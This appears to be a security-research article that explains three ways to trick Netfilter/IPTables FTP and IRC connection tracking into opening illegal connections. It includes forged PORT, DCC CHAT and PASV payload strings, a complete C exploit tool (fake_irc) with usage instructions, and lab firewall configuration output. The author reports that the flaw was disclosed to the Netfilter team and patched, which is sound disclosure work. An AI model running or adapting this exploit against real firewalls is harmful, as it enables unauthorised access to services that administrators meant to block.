Breaking a firewall through forged FTP command

FTP is a protocol that uses two connections. One of them is called a

control connection and the other, a data connection. FTP commands and

replies are exchanged across the control connection that lasts during an

FTP session. On the other hand, a file(or a list of files) is sent across

the data connection, which is newly established each time a file is

transferred.

Most firewalls do not usually allow any connections except FTP control

connections to an FTP server port(TCP port 21 by default) for network

security. However, as long as a file is transferred, they accept the data

connection temporarily. To do this, a firewall tracks the control

connection state and detects the command related to file transfer. This is

called stateful inspection.

I've created three attack tricks that make a firewall allow an illegal

connection by deceiving its connection tracking using a forged FTP command.

I actually tested them in Netfilter/IPTables, which is a firewall

installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first

trick worked in the Linux kernel 2.4.18 and the second one(a variant of the

first one) worked well in the Linux 2.4.28(a recent version of the Linux

kernel).

This vulnerability was already reported to the Netfilter project team

and they fixed it in the Linux kernel 2.6.11.

--[ 2 - FTP, IRC and the stateful inspection of Netfilter

First, let's examine FTP, IRC(You will later know why IRC is mentioned)

and the stateful inspection of Netfilter. If you are a master of them, you

can skip this chapter.

As stated before, FTP uses a control connection in order to exchange

the commands and replies(, which are represented in ASCII) and, on the

contrary, uses a data connection for file transfer.

For instance, when you command "ls" or "get <a file name>" at FTP

prompt, the FTP server(in active mode) actively initiates a data connection

to a TCP port number(called a data port) on the FTP client, your host. The

client, in advance, sends the data port number using a PORT command, one of

FTP commands.

The format of a PORT command is as follows.

PORT<space>h1,h2,h3,h4,p1,p2<CRLF>

Here the character string "h1,h2,h3,h4" means the dotted-decimal IP

"h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates

a data port number(= p1 * 256 + p2). Each field of the address and port

number is in decimal number. A data port is dynamically assigned by a

client. In addition, the commands and replies end with <CRLF> character

sequence.

Netfilter tracks an FTP control connection and gets the TCP sequence

number and the data length of a packet containing an FTP command line

(which ends with <LF>). And then it computes the sequence number of the

next command packet based on the information. When a packet with the

sequence number is arrived, Netfilter analyzes whether the data of the

packet contains an FTP command. If the head of the data is the same as

"PORT" and the data ends with <CRLF>, then Netfilter considers it as a

valid PORT command (the actual codes are a bit more complicated) and

extracts an IP address and a port number from it. Afterwards, Netfilter

"expects" the server to actively initiate a data connection to the

specified port number on the client. When the data connection request is

actually arrived, it accepts the connection only while it is established.

In the case of an incomplete command which is called a "partial" command,

it is dropped for an accurate tracking.

IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC

client can use a direct connection in order to speak with another client.

When a client logs on the server, he/she connects to an IRC server

(TCP port 6667 by default). On the other hand, when the client wants to

communicate with another, he/she establishes a direct connection to the

peer. To do this, the client sends a message called a DCC CHAT command in

advance. The command is analogous to an FTP PORT command. And Netfilter

tracks IRC connections as well. It expects and accepts a direct chatting

connection.

--[ 3 - Attack Scenario I

----[ 3.1 - First Trick

I have created a way to connect illegally to any TCP port on an FTP

server that Netfilter protects by deceiving the connection-tracking module

in the Linux kernel 2.4.18.

In most cases, IPTables administrators make stateful packet filtering

rule(s) in order to accept some Internet services such as IRC direct

chatting and FTP file transfer. To do this, the administrators usually

insert the following rule into the IPTables rule list.

iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT

Suppose that a malicious user who logged on the FTP server transmits a

PORT command with TCP port number 6667(this is a default IRC server port

number) on the external network and then attempts to download a file from

the server.

The FTP server actively initiates a data connection to the data port

6667 on the attacker's host. The firewall accepts this connection under the

stateful packet filtering rule stated before. Once the connection is

established, the connection-tracking module of the firewall(in the Linux

kernel 2.4.18) has the security flaw to mistake this for an IRC connection.

Thus the attacker's host can pretend to be an IRC server.

If the attacker downloads a file comprised of a string that has the

same pattern as DCC CHAT command, the connection-tracking module will

misunderstand the contents of a packet for the file transfer as a DCC CHAT

command.

As a result, the firewall allows any host to connect to the TCP port

number, which is specified in the fake DCC CHAT command, on the fake IRC

client (i.e., the FTP server) according to the rule to accept the "related"

connection for IRC. For this, the attacker has to upload the file before

the intrusion.

In conclusion, the attacker is able to illegally connect to any TCP

port on the FTP server.

----[ 3.2 - First Trick Details

To describe this in detail, let's assume a network configuration is as

follows.

(a) A Netfilter/IPtables box protects an FTP server in a network. So users

in the external network can connect only to FTP server port on the FTP

server. Permitted users can log on the server and download/upload

files.

(b) Users in the protected network, including FTP server host, can connect

only to IRC servers in the external network.

(c) While one of the internet services stated in (a) and (b) is

established, the secondary connections(e.g., FTP data connection)

related to the service can be accepted temporarily.

(d) Any other connections are blocked.

To implement stateful inspection for IRC and FTP, the administrator

loads the IP connection tracking modules called ip_conntrack into the

firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and

IRC, respectively. Ipt_state must be also loaded.

Under the circumstances, an attacker can easily create a program that

logs on the FTP server and then makes the server actively initiate an FTP

data connection to an arbitrary TCP port on his/her host.

Suppose that he/she transmits a PORT command with data port 6667 (i.e.,

default IRC server port).

An example is "PORT 192,168,100,100,26,11\r\n".

The module ip_conntrack_ftp tracking this connection analyzes the PORT

command and "expects" the FTP server to issue an active open to the

specified port on the attacker's host.

Afterwards, the attacker sends an FTP command to download a file,

"RETR <a file name>". The server tries to connect to port 6667 on the

attacker's host. Netfilter accepts the FTP data connection under the

stateful packet filtering rule.

Once the connection is established, the module ip_conntrack mistakes

this for IRC connection. Ip_conntrack regards the FTP server as an IRC

client and the attacker's host as an IRC server. If the fake IRC client

(i.e., the FTP server) transmits packets for the FTP data connection, the

module ip_conntrack_irc will try to find a DCC protocol message from the

packets.

The attacker can make the FTP server send the fake DCC CHAT command

using the following trick. Before this intrusion, the attacker uploads a

file comprised of a string that has the same pattern as a DCC CHAT command

in advance.

To my knowledge, the form of a DCC CHAT command is as follows.

"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC

client><blanks><The TCP port number of the IRC client>\1\n"

An example is "\1DCC CHAT t 3232236548 8000\1\n"

In this case, Netfilter allows any host to do an active open to the TCP

port number on the IRC client specified in the line. The attacker can, of

course, arbitrarily specify the TCP port number in the fake DCC CHAT

command message.

If a packet of this type is passed through the firewall, the module

ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects"

any host to issue an active open to the specified TCP port number on the

FTP server for a direct chatting.

As a result, Netfilter allows the attacker to connect to the port

number on the FTP server according to the stateful inspection rule.

After all, the attacker can illegally connect to any TCP port on the

FTP server using this trick.

--[ 4 - Attack Scenario II - Non-standard command line

----[ 4.1. Second Trick Details

Netfilter in the Linux kernel 2.4.20(and the later versions) is so

fixed that a secondary connection(e.g., an FTP data connection) accepted by

a primary connection is not mistaken for that of any other protocol. Thus

the packet contents of an FTP data connection are not parsed any more by

the IRC connection-tracking module.

However, I've created a way to connect illegally to any TCP port on an

FTP server that Netfilter protects by dodging connection tracking using a

nonstandard FTP command. As stated before, I confirmed that it worked in

the Linux kernel 2.4.28.

Under the circumstances stated in the previous chapter, a malicious

user in the external network can easily create a program that logs on the

FTP server and transmits a nonstandard FTP command line.

For instance, an attacker can transmit a PORT command without the

character <CR> in the end of the line. The command line has only <LF> in

the end.

An example is "PORT 192,168,100,100,26,11\n".

On the contrary, a standard FTP command has <CRLF> sequence to denote

the end of a line.

If the module ip_conntrack_ftp receives a nonstandard PORT command of

this type, it first detects a command and finds the character <CR> for the

parsing. Because it cannot be found, ip_conntrack_ftp regards this as a

"partial" command and drops the packet.

Just before this action, ip_conntrack_ftp anticipated the sequence

number of a packet that contains the next FTP command line and updated the

associated information. This number is calculated based on the TCP sequence

number and the data length of the "partial" PORT command packet.

However, a TCP client, afterwards, usually retransmits the identical

PORT command packet since the corresponding reply is not arrived at the

client. In this case, ip_conntrack_ftp does NOT consider this retransmitted

packet as an FTP command because its sequence number is different from that

of the next FTP command anticipated. From the point of view of

ip_conntrack_ftp, the packet has a "wrong" sequence number position.

The module ip_conntrack_ftp just accepts the packet without analyzing

this command. The FTP server can eventually receive the retransmitted

packet from the attacker.

Although ip_conntrack_ftp regards this "partial" command as INVALID,

some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT

command without <CR> as VALID. In conclusion, the firewall, in this case,

fails to "expect" the FTP data connection.

And when the attacker sends a RETR command to download a file from the

server, the server initiates to connect to the TCP port number, specified

in the partial PORT command, on the attacker's host.

Suppose that the TCP port number is 6667(IRC server port), the firewall

accepts this connection under the stateless packet filtering rule that

allows IRC connections instead of the stateful filtering rule. So the IP

connection-tracking module mistakes the connection for IRC.

The next steps of the attack are the same as those of the trick stated

in the previous chapter.

In conclusion, the attacker is able to illegally connect to any TCP

port on the FTP server that the Netfilter firewall box protects.

*[supplement] There is a more refined method to dodge the

connection-tracking of Netfilter. It uses default data port. On condition

that data port is not specified by a PORT command and a data connection is

required to be established, an FTP server does an active open from port 20

on the server to the same (a client's) port number that is being used for

the control connection.

To do this, the client has to listen on the local port in advance. In

addition, he/she must bind the local port to 6667(IRCD) and set the socket

option "SO_REUSEADDR" in order to reuse this port.

Because a PORT command never passes through a Netfilter box, the

firewall can't anticipate the data connection. I confirmed that it worked

in the Linux kernel 2.4.20.

** A demonstration tool and an example of this attack are described in

APPENDIX I and APPENDIX II, respectively.

--[ 5 - Attack Scenario III - 'echo' feature of FTP reply

----[ 5.1 - Passive FTP: background information

An FTP server is able to do a passive open for a data connection as

well. This is called passive FTP. On the contrary, FTP that does an active

open is called active FTP.

Just before file transfer in the passive mode, the client sends a PASV

command and the server replies the corresponding message with a data port

number to the client. An example is as follows.

-> PASV\r\n

<- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n

Like a PORT command, the IP address and port number are separated by

commas. Meanwhile, when you enter a user name, the following command and

reply are exchanged.

-> USER <a user name>\r\n

<- 331 Password required for <the user name>.\r\n

----[ 5.2 - Third Trick Details

Right after a user creates a connection to an FTP server, the server

usually requires a user name. When the client enters a login name at FTP

prompt, a USER command is sent and then the same character sequence as the

user name, which is a part of the corresponding reply, is returned like

echo. For example, a user enters the sting "Alice Lee" as a login name at

FTP prompt, the following command line is sent across the control

connection.

-> USER Alice Lee\r\n

The FTP server usually replies to it as follows.

<- 331 Password required for Alice Lee.\r\n

("Alice Lee" is echoed.)

Blanks are able to be included in a user name.

A malicious user can insert a arbitrary pattern in the name. For

instance, when the same pattern as the reply for passive FTP is inserted in

it, a part of the reply is arrived like a reply related to passive FTP.

-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n

<- 331 Password required for 227 Entering Passive Mode

(192,168,20,29,42,125).\r\n

Does a firewall confuse it with a `real' passive FTP reply? Maybe most

firewalls are not deceived by the trick because the pattern is in the

middle of the reply line.

However, suppose that the TCP window size field of the connection is

properly adjusted by the attacker when the connection is established, then

the contents can be divided into two like two separate replies.

(A) ----->USER xxxxxxxxx227 Entering Passive Mode

(192,168,20,29,42,125)\r\n

(B) <-----331 Password required for xxxxxxxxx

(C) ----->ACK(with no data)

(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n

(where the characters "xxxxx..." are inserted garbage used to adjust the

data length.)

I actually tested it for Netfilter/IPTables. I confirmed that Netfilter

does not mistake the line (D) for a passive FTP reply at all.

The reason is as follows.

(B) is not a complete command line that ends with <LF>. Netfilter,

thus, never considers (D), the next packet data of (B) as the next reply.

As a result, the firewall doesn't try to parse (D).

But, if there were a careless connection-tracking firewall, the attack

would work.

In the case, the careless firewall would expect the client to do an

active open to the TCP port number, which is specified in the fake reply,

on the FTP server. When the attacker initiates a connection to the target

port on the server, the firewall eventually accepts the illegal connection.

--[ 6 - APPENDIX I. A demonstration tool of the second trick

I wrote an exploiting program using C language. I used the following

compilation command.

/>gcc -Wall -o fake_irc fake_irc.c

The source code is as follows.

/*

USAGE : ./fake_irc <an FTP server IP> <a target port>

<a user name> <a password> <a file name to be downloaded>

- <an FTP server IP> : An FTP server IP that is a victim

- <a target port> : the target TCP port on the FTP server to which an

attacker wants to connect

- <a user name> : a user name used to log on the FTP server

- <a password> : a password used to log on the FTP server

- <a file name to be downloaded> : a file name to be downloaded from the

FTP server

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#define BUF_SIZE 2048

#define DATA_BUF_SZ 65536

#define IRC_SERVER_PORT 6667

#define FTP_SERVER_PORT 21

static void usage(void)

{

printf("USAGE : ./fake_irc "

"<an FTP server IP> <a target port> <a user name> "

"<a password> <a file name to be downloaded>\n");

return;

}

void send_cmd(int fd, char *msg)

{

if(send(fd, msg, strlen(msg), 0) < 0) {

perror("send");

exit(0);

}

printf("--->%s\n", msg);

}

void get_reply(int fd)

{

char read_buffer[BUF_SIZE];

int size;

//get the FTP server message

if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {

perror("recv");

exit(0);

}

read_buffer[size] = '\0';

printf("<---%s\n", read_buffer);

}

void cmd_reply_xchg(int fd, char *msg)

{

send_cmd(fd, msg);

get_reply(fd);

}

/*

argv[0] : a program name

argv[1] : an FTP server IP

argv[2] : a target port on the FTP server host

argv[3] : a user name

argv[4] : a password

argv[5] : a file name to be downloaded

*/

int main(int argc, char **argv)

{

int fd, fd2, fd3, fd4;

struct sockaddr_in serv_addr, serv_addr2;

char send_buffer[BUF_SIZE];

char *ftp_server_ip, *user_id, *pwd, *down_file;

unsigned short target_port;

char data_buf[DATA_BUF_SZ];

struct sockaddr_in sa_cli;

socklen_t client_len;

unsigned int on = 1;

unsigned char addr8[4];

int datasize;

if(argc != 6) {

usage();

return -1;

}

ftp_server_ip = argv[1];

target_port = atoi(argv[2]);

user_id = argv[3];

pwd = argv[4];

down_file = argv[5];

if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {

perror("socket");

return -1;

}

bzero(&serv_addr, sizeof(struct sockaddr_in));

serv_addr.sin_family = AF_INET;

serv_addr.sin_port = htons(FTP_SERVER_PORT);

serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);

//connect to the FTP server

if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {

perror("connect");

return -1;

}

//get the FTP server message

get_reply(fd);

//exchange a USER command and the reply

sprintf(send_buffer, "USER %s\r\n", user_id);

cmd_reply_xchg(fd, send_buffer);

//exchange a PASS command and the reply

sprintf(send_buffer, "PASS %s\r\n", pwd);

cmd_reply_xchg(fd, send_buffer);

//exchange a SYST command and the reply

sprintf(send_buffer, "SYST\r\n");

cmd_reply_xchg(fd, send_buffer);

sleep(1);

//write a PORT command

datasize = sizeof(serv_addr);

if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {

perror("getsockname");

return -1;

}

memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));

sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",

addr8[0], addr8[1], addr8[2], addr8[3],

IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);

cmd_reply_xchg(fd, send_buffer);

//Be a server for an active FTP data connection

if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {

perror("socket");

return -1;

}

if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {

perror("setsockopt");

return -1;

}

bzero(&serv_addr, sizeof(struct sockaddr_in));

serv_addr.sin_family = AF_INET;

serv_addr.sin_port = htons(IRC_SERVER_PORT);

serv_addr.sin_addr.s_addr = INADDR_ANY;

if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {

perror("bind");

return -1;

}

if( listen(fd2, SOMAXCONN) < 0 ) {

perror("listen");

return -1;

}

//send a RETR command after calling listen()

sprintf(send_buffer, "RETR %s\r\n", down_file);

cmd_reply_xchg(fd, send_buffer);

//accept the active FTP data connection request

client_len = sizeof(sa_cli);

bzero(&sa_cli, client_len);

fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);

if( fd3 < 0 ) {

perror("accept");

return -1;

}

//get the fake DCC command

bzero(data_buf, DATA_BUF_SZ);

if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {

perror("recv");

return -1;

}

puts(data_buf);

///Start of the attack

if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {

perror("socket");

return -1;

}

bzero(&serv_addr2, sizeof(struct sockaddr_in));

serv_addr2.sin_family = AF_INET;

serv_addr2.sin_port = htons(target_port );

serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);

if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))

{

perror("connect");

return -1;

}else

printf("\nConnected to the target port!!\n");

//Here, communicate with the target port

sleep(3);

close(fd4);//close the attack connection

/////////////The end of the attack.

close(fd3);//close the FTP data connection

//get the reply of FTP data transfer completion

get_reply(fd);

sleep(1);

close(fd);//close the FTP control connection

close(fd2);

return 0;

}/*The end*/

--------------------------------------------

--[ 7 - APPENDIX II. A demonstration example of the second attack trick

The followings are the circumstances in which I tested it actually.

The below symbol "[]" stands for a computer box.

[An attacker's host]-----[A firewall]-----[An FTP server]

(The network interfaces, eth1 and eth2 of the firewall are directly linked

to the attacker's host and server, respectively.)

As shown in the above figure, packets being transmitted between the FTP

client(i.e., the attacker) and the FTP server pass through the linux box

with IPTables in the Linux kernel 2.4.28.

The IP addresses assigned in each box are as follows.

(a) The attacker's host : 192.168.3.3

(b) eth1 port in the Linux box : 192.168.3.1

(c) The FTP server : 192.168.4.4

(d) eth2 port in the Linux box : 192.168.4.1

A TCP server is listening on the FTP server's host address and port

8000. The server on port 8000 is protected by IPTables. The attacker tried

to connect illegally to port 8000 on the FTP server in this demonstration.

The associated records during this attack are written in the following

order.

(1) The system configurations in the firewall, including the ruleset of

IPTables

(2) Tcpdump outputs on eth1 port of the firewall

(3) Tcpdump outputs on eth2 port of the firewall

(4) The file /proc/net/ip_conntrack data with the change of times. It shows

the information on connections being tracked.

(5) DEBUGP(), printk messages for debug in the source

files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c).

For the detailed messages, I activated the macro function DEBUGP() in

the files.

Since some characters of the messages are Korean, they have been

deleted. I am sorry for this.

=====================================================================

(1) The system configurations in the firewall

[root@hans root]# uname -a

Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown

[root@hans root]# lsmod

Module Size Used by Not tainted

ip_conntrack_irc 5216 0 (unused)

ip_conntrack_ftp 6304 0 (unused)

ipt_state 1056 1 (autoclean)

ip_conntrack 40312 2 (autoclean) [ip_conntrack_irc

ip_conntrack_ftp

ipt_state]

iptable_filter 2432 1 (autoclean)

ip_tables 16992 2 [ipt_state iptable_filter]

ext3 64032 3 (autoclean)

jbd 44800 3 (autoclean) [ext3]

usbcore 48576 0 (unused)

[root@hans root]# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy DROP)

target prot opt source destination

ACCEPT tcp -- 192.168.3.3 192.168.4.4 tcp dpt:ftp

ACCEPT tcp -- anywhere anywhere tcp dpt:auth

ACCEPT tcp -- 192.168.4.4 192.168.3.3 tcp dpt:ircd

ACCEPT all -- anywhere anywhere state

RELATED,ESTABL

ISHED

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

[root@hans root]# route -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use

Iface

192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0

eth2

192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0

eth1

192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0

eth0

127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo